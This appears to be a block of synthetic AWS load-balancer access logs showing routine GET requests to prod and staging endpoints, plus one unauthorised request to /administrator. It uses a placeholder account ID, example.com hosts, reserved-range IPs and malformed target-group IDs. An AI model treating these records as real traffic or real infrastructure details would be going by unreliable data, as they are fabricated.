"Root=1-6723d3dd-2c42d4292175472ca513c37b" "prod-web-alb.example.com" "-" 8 2024-11-01T02:00:45.063553Z "forward" "-" "-" "10.0.132.8:443" "302" "-" "-" -http 2024-11-01T02:00:46.360029Z staging-alb 107.167.71.126:28248 230.225.55.30:8080 0.012601 0.094695 0.023761 302 302 811 6785 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d3de-9baefd3df55048ad84cf9ff7" "staging-alb.example.com" "-" 1 2024-11-01T02:00:46.360029Z "forward" "-" "-" "230.225.55.30:8080" "302" "-" "-" -http 2024-11-01T02:00:47.664491Z staging-alb 219.198.131.181:56637 42.124.74.91:80 0.134106 0.332516 0.094259 301 301 88 718 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d3df-c219cbffe19748aca9bf1e8f" "staging-alb.example.com" "-" 3 2024-11-01T02:00:47.664491Z "forward" "-" "-" "42.124.74.91:80" "301" "-" "-" -https 2024-11-01T02:00:48.590639Z prod-api-alb 167.254.255.181:26481 10.0.20.63:443 0.046799 0.013866 0.028761 404 404 199 3507 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d3e0-43fb21d8517440de893d7789" "prod-api-alb.example.com" "-" 6 2024-11-01T02:00:48.590639Z "forward" "-" "-" "10.0.20.63:443" "404" "-" "-" -http 2024-11-01T02:00:49.289219Z staging-alb 39.117.214.186:37049 96.16.252.229:8080 0.148349 0.261057 0.125566 200 200 79 13441 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d3e1-e295fe01f68d4ec5a88aa941" "staging-alb.example.com" "-" 5 2024-11-01T02:00:49.289219Z "forward" "-" "-" "96.16.252.229:8080" "200" "-" "-" -https 2024-11-01T02:00:50.439998Z staging-alb 142.156.121.146:28189 230.80.3.80:443 0.108725 0.386794 0.114223 302 302 921 12814 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d3e2-114c2ac106a54074af8e73da" "staging-alb.example.com" "-" 7 2024-11-01T02:00:50.439998Z "forward" "-" "-" "230.80.3.80:443" "302" "-" "-" -https 2024-11-01T02:00:52.054775Z prod-web-alb 31.11.134.20:45826 10.0.22.148:443 0.018194 0.168231 0.060062 200 200 516 13292 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d3e4-f5f24521d02b481396c9c098" "prod-web-alb.example.com" "-" 1 2024-11-01T02:00:52.054775Z "forward" "-" "-" "10.0.22.148:443" "200" "-" "-" -https 2024-11-01T02:00:52.742315Z staging-alb 195.174.38.43:19693 196.126.52.176:8080 0.027058 0.525251 0.006072 301 301 196 8976 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d3e4-4ef19a42c0b4453bbb52da21" "-" "-" 7 2024-11-01T02:00:52.742315Z "forward" "-" "-" "196.126.52.176:8080" "301" "-" "-" -https 2024-11-01T02:00:53.831762Z prod-api-alb 222.21.67.57:27940 10.0.1.51:443 0.094056 0.268095 0.088926 200 200 886 2955 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d3e5-5fc57bd2f7b54446b9fa418d" "prod-api-alb.example.com" "-" 4 2024-11-01T02:00:53.831762Z "forward" "-" "-" "10.0.1.51:443" "200" "-" "-" -https 2024-11-01T02:00:54.007593Z prod-web-alb 153.151.172.190:32277 10.0.37.97:443 0.094878 0.126111 0.091552 302 302 176 11150 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d3e6-b78d02cb20d540c8817f3c28" "prod-web-alb.example.com" "-" 4 2024-11-01T02:00:54.007593Z "forward" "-" "-" "10.0.37.97:443" "302" "-" "-" -https 2024-11-01T02:00:54.956071Z prod-web-alb 135.121.231.147:29716 10.0.56.154:443 0.009491 0.229855 0.043077 200 200 507 7125 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d3e6-bc738d7e93ee494aac3e0ffe" "prod-web-alb.example.com" "-" 2 2024-11-01T02:00:54.956071Z "forward" "-" "-" "10.0.56.154:443" "200" "-" "-" -http 2024-11-01T02:00:56.355208Z staging-alb 102.162.155.198:47410 110.244.101.54:443 0.048146 0.593800 0.052428 200 200 87 1190 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d3e8-c3a11c97d349432abd678c3c" "staging-alb.example.com" "-" 8 2024-11-01T02:00:56.355208Z "forward" "-" "-" "110.244.101.54:443" "200" "-" "-" -https 2024-11-01T02:00:57.486170Z staging-alb 159.185.87.194:62391 186.45.50.200:443 0.091052 0.300058 0.026775 302 302 660 8312 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d3e9-bb38b81bb7714717adf8d46c" "staging-alb.example.com" "-" 10 2024-11-01T02:00:57.486170Z "forward" "-" "-" "186.45.50.200:443" "302" "-" "-" -https 2024-11-01T02:00:57.884283Z staging-alb 176.4.15.202:12083 73.34.244.136:443 0.101274 0.489841 0.044140 200 200 170 241 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d3e9-0310fe5bc83a43458897494b" "staging-alb.example.com" "-" 9 2024-11-01T02:00:57.884283Z "forward" "-" "-" "73.34.244.136:443" "200" "-" "-" -https 2024-11-01T02:00:59.253284Z prod-web-alb 131.153.196.74:11023 10.0.41.45:443 0.026635 0.405237 0.043490 200 200 896 10776 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d3eb-230ca097c6de48058f0bbd19" "prod-web-alb.example.com" "-" 3 2024-11-01T02:00:59.253284Z "forward" "-" "-" "10.0.41.45:443" "200" "-" "-" -https 2024-11-01T02:01:00.724131Z staging-alb 213.154.203.107:57539 180.243.59.48:8080 0.043239 0.052603 0.053891 200 200 854 750 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d3ec-dda8267c10d94795acf91627" "staging-alb.example.com" "-" 7 2024-11-01T02:01:00.724131Z "forward" "-" "-" "180.243.59.48:8080" "200" "-" "-" -https 2024-11-01T02:01:02.700185Z prod-api-alb 189.45.218.248:14379 10.0.47.84:443 0.081193 0.336040 0.024716 404 404 236 6173 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d3ee-3e3d55af992848e29e974fa6" "prod-api-alb.example.com" "-" 3 2024-11-01T02:01:02.700185Z "forward" "-" "-" "10.0.47.84:443" "404" "-" "-" -https 2024-11-01T02:01:04.589890Z prod-web-alb 30.126.133.211:63313 10.0.250.22:443 0.076832 0.096552 0.024673 200 200 456 3394 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d3f0-7a858c4ac8ab479d93b0552d" "prod-web-alb.example.com" "-" 7 2024-11-01T02:01:04.589890Z "forward" "-" "-" "10.0.250.22:443" "200" "-" "-" -https 2024-11-01T02:01:05.042577Z staging-alb 121.107.35.28:64953 72.67.148.160:80 0.129981 0.383418 0.090857 301 301 929 12509 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d3f1-a53b8394c0c94ec7935ce944" "staging-alb.example.com" "-" 4 2024-11-01T02:01:05.042577Z "forward" "-" "-" "72.67.148.160:80" "301" "-" "-" -https 2024-11-01T02:01:05.961611Z staging-alb 103.114.19.178:35390 167.135.156.157:443 0.034085 0.136255 0.024893 200 200 7 6415 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d3f1-d94ce2947d184dfb92b51d5d" "staging-alb.example.com" "-" 7 2024-11-01T02:01:05.961611Z "forward" "-" "-" "167.135.156.157:443" "200" "-" "-" -https 2024-11-01T02:01:06.399390Z prod-api-alb 218.117.115.191:49039 10.0.79.246:443 0.013438 0.389632 0.037011 200 200 820 9639 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d3f2-93190f075382418eb35d2216" "prod-api-alb.example.com" "-" 9 2024-11-01T02:01:06.399390Z "forward" "-" "-" "10.0.79.246:443" "200" "-" "-" -https 2024-11-01T02:01:06.706324Z prod-api-alb 126.251.199.56:23517 10.0.131.71:443 0.033430 0.367166 0.014305 200 200 998 7833 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d3f2-10a59696387d4a2390f54acf" "prod-api-alb.example.com" "-" 7 2024-11-01T02:01:06.706324Z "forward" "-" "-" "10.0.131.71:443" "200" "-" "-" -https 2024-11-01T02:01:07.180414Z prod-web-alb 118.48.184.83:40556 10.0.222.75:443 0.055727 0.366353 0.090638 200 200 678 13154 "GET /checkout HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d3f3-f99a3a25ebc646348c52a366" "prod-web-alb.example.com" "-" 7 2024-11-01T02:01:07.180414Z "forward" "-" "-" "10.0.222.75:443" "200" "-" "-" -https 2024-11-01T02:01:09.003111Z prod-web-alb 233.127.5.13:60505 10.0.54.186:443 0.070651 0.476224 0.081242 302 302 899 7275 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d3f5-3537209fc09345cb89888870" "prod-web-alb.example.com" "-" 7 2024-11-01T02:01:09.003111Z "forward" "-" "-" "10.0.54.186:443" "302" "-" "-" -http 2024-11-01T02:01:10.548553Z staging-alb 211.11.151.114:54880 200.115.79.185:80 0.144849 0.500937 0.135888 301 301 673 4649 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d3f6-b276c6391cd3468cb8542396" "staging-alb.example.com" "-" 1 2024-11-01T02:01:10.548553Z "forward" "-" "-" "200.115.79.185:80" "301" "-" "-" -https 2024-11-01T02:01:11.954836Z prod-api-alb 119.186.25.214:49335 10.0.123.90:443 0.067265 0.438970 0.073399 200 200 139 4821 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d3f7-fca8c13433904413b462ead7" "prod-api-alb.example.com" "-" 2 2024-11-01T02:01:11.954836Z "forward" "-" "-" "10.0.123.90:443" "200" "-" "-" -http 2024-11-01T02:01:12.419495Z staging-alb 15.55.83.77:22472 222.166.187.136:8080 0.128894 0.413202 0.077490 404 404 401 945 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d3f8-485eace586d44dbb84248cdc" "staging-alb.example.com" "-" 6 2024-11-01T02:01:12.419495Z "forward" "-" "-" "222.166.187.136:8080" "404" "-" "-" -https 2024-11-01T02:01:13.448098Z staging-alb 249.96.122.179:26091 222.8.4.94:80 0.047497 0.662288 0.040747 302 302 639 5067 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d3f9-7dc9e1cbfe594c28a0927dc2" "staging-alb.example.com" "-" 0 2024-11-01T02:01:13.448098Z "forward" "-" "-" "222.8.4.94:80" "302" "-" "-" -https 2024-11-01T02:01:15.318590Z prod-api-alb 215.23.131.246:64225 10.0.243.231:443 0.072549 0.045563 0.059157 200 200 990 2383 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d3fb-b86bf21ebc5b431e9aa939d7" "prod-api-alb.example.com" "-" 1 2024-11-01T02:01:15.318590Z "forward" "-" "-" "10.0.243.231:443" "200" "-" "-" -https 2024-11-01T02:01:16.351796Z prod-web-alb 211.71.23.88:63402 10.0.15.40:443 0.034997 0.489735 0.031302 302 302 547 13126 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d3fc-50ee0efdbf6c4c01b0f5f603" "prod-web-alb.example.com" "-" 8 2024-11-01T02:01:16.351796Z "forward" "-" "-" "10.0.15.40:443" "302" "-" "-" -https 2024-11-01T02:01:16.644575Z staging-alb 238.136.220.99:30136 248.137.169.6:80 0.126680 0.232127 0.103114 200 200 464 2090 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d3fc-6f278495fdc14ea98824aac3" "-" "-" 0 2024-11-01T02:01:16.644575Z "forward" "-" "-" "248.137.169.6:80" "200" "-" "-" -https 2024-11-01T02:01:17.504390Z prod-web-alb 157.69.97.157:54455 10.0.38.238:443 0.084444 0.363226 0.035225 200 200 630 9130 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d3fd-ae1fba5442224c52960c4a5a" "prod-web-alb.example.com" "-" 10 2024-11-01T02:01:17.504390Z "forward" "-" "-" "10.0.38.238:443" "200" "-" "-" -http 2024-11-01T02:01:18.287781Z staging-alb 104.35.204.255:61769 30.134.82.139:8080 0.035586 0.458107 0.034722 404 404 677 1528 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d3fe-76ba3a1d63e34b77be56306f" "staging-alb.example.com" "-" 10 2024-11-01T02:01:18.287781Z "forward" "-" "-" "30.134.82.139:8080" "404" "-" "-" -http 2024-11-01T02:01:19.875731Z staging-alb 113.17.209.218:47130 209.95.89.140:8080 0.106534 0.128596 0.064539 302 302 399 6119 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d3ff-93eccf55175c4ce6b20bb611" "staging-alb.example.com" "-" 3 2024-11-01T02:01:19.875731Z "forward" "-" "-" "209.95.89.140:8080" "302" "-" "-" -https 2024-11-01T02:01:21.140145Z prod-api-alb 187.131.97.224:17731 10.0.25.66:443 0.093012 0.337915 0.065856 404 404 212 5478 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d401-b37916af7fcb4c438e30576a" "prod-api-alb.example.com" "-" 2 2024-11-01T02:01:21.140145Z "forward" "-" "-" "10.0.25.66:443" "404" "-" "-" -https 2024-11-01T02:01:21.472199Z prod-web-alb 212.126.253.185:41800 10.0.99.54:443 0.043464 0.480039 0.025385 200 200 631 8265 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d401-0bc9785998ed44468f1fd4bf" "prod-web-alb.example.com" "-" 2 2024-11-01T02:01:21.472199Z "forward" "-" "-" "10.0.99.54:443" "200" "-" "-" -https 2024-11-01T02:01:22.417295Z prod-web-alb 69.52.224.192:48106 10.0.194.1:443 0.026618 0.380819 0.022825 200 200 163 13948 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d402-8f7b7b75497b45a7b54c1628" "prod-web-alb.example.com" "-" 3 2024-11-01T02:01:22.417295Z "forward" "-" "-" "10.0.194.1:443" "200" "-" "-" -https 2024-11-01T02:01:23.217841Z staging-alb 22.114.25.69:23692 251.211.73.194:80 0.054680 0.287551 0.051575 301 301 110 7399 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d403-6b4c9ca44cb34b4aa78488e1" "staging-alb.example.com" "-" 2 2024-11-01T02:01:23.217841Z "forward" "-" "-" "251.211.73.194:80" "301" "-" "-" -https 2024-11-01T02:01:24.708022Z prod-web-alb 77.125.63.153:14900 10.0.103.223:443 0.067771 0.131816 0.030513 200 200 451 9391 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d404-9d3ff488e43d485aab19d687" "prod-web-alb.example.com" "-" 3 2024-11-01T02:01:24.708022Z "forward" "-" "-" "10.0.103.223:443" "200" "-" "-" -https 2024-11-01T02:01:25.529497Z staging-alb 173.87.204.151:23615 115.69.214.17:443 0.064800 0.189360 0.009537 404 404 939 10742 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d405-fa3e5de42ec34bf9b0f2a305" "staging-alb.example.com" "-" 4 2024-11-01T02:01:25.529497Z "forward" "-" "-" "115.69.214.17:443" "404" "-" "-" -https 2024-11-01T02:01:25.959301Z prod-web-alb 184.41.18.205:30893 10.0.153.30:443 0.067238 0.206874 0.082418 200 200 32 11294 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d405-3bd33838c9f44a20831a132e" "prod-web-alb.example.com" "-" 6 2024-11-01T02:01:25.959301Z "forward" "-" "-" "10.0.153.30:443" "200" "-" "-" -https 2024-11-01T02:01:26.436646Z prod-web-alb 113.206.184.125:12779 10.0.253.222:443 0.045613 0.139716 0.052986 404 404 778 13165 "GET /products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d406-35472be14c3843938e782f6d" "prod-web-alb.example.com" "-" 4 2024-11-01T02:01:26.436646Z "forward" "-" "-" "10.0.253.222:443" "404" "-" "-" -https 2024-11-01T02:01:27.702098Z prod-api-alb 195.199.136.187:43243 10.0.251.158:443 0.015430 0.015786 0.007548 404 404 69 1416 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d407-dbd8bc6b68004d35861e470a" "prod-api-alb.example.com" "-" 3 2024-11-01T02:01:27.702098Z "forward" "-" "-" "10.0.251.158:443" "404" "-" "-" -https 2024-11-01T02:01:28.245516Z prod-web-alb 247.50.140.11:19204 10.0.97.79:443 0.095957 0.232378 0.033427 302 302 785 13745 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d408-8f737cf7838e420eb337b671" "prod-web-alb.example.com" "-" 4 2024-11-01T02:01:28.245516Z "forward" "-" "-" "10.0.97.79:443" "302" "-" "-" -https 2024-11-01T02:01:28.375885Z prod-web-alb 220.31.95.222:19307 10.0.137.244:443 0.030446 0.074324 0.058059 302 302 198 1344 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d408-97b31ec283004a0c98d22174" "prod-web-alb.example.com" "-" 2 2024-11-01T02:01:28.375885Z "forward" "-" "-" "10.0.137.244:443" "302" "-" "-" -https 2024-11-01T02:01:29.735046Z prod-web-alb 87.126.76.238:56811 10.0.21.155:443 0.001868 0.370809 0.068164 200 200 320 6693 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d409-962ce00b7a3b4579a1ab0edf" "prod-web-alb.example.com" "-" 3 2024-11-01T02:01:29.735046Z "forward" "-" "-" "10.0.21.155:443" "200" "-" "-" -https 2024-11-01T02:01:30.694411Z prod-web-alb 193.27.228.247:24388 10.0.134.12:443 0.085239 0.131581 0.058252 401 401 587 9687 "GET /administrator HTTP/1.1" "Go-http-client/2.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d40a-8c3e6d1b3200482aa5d48eb8" "-" "-" 5 2024-11-01T02:01:30.694411Z "forward" "-" "-" "10.0.134.12:443" "401" "-" "-" -https 2024-11-01T02:01:30.924391Z prod-web-alb 236.129.203.82:56688 10.0.171.207:443 0.069216 0.467491 0.050183 200 200 515 672 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d40a-c830285a347e476483b74def" "prod-web-alb.example.com" "-" 6 2024-11-01T02:01:30.924391Z "forward" "-" "-" "10.0.171.207:443" "200" "-" "-" -https 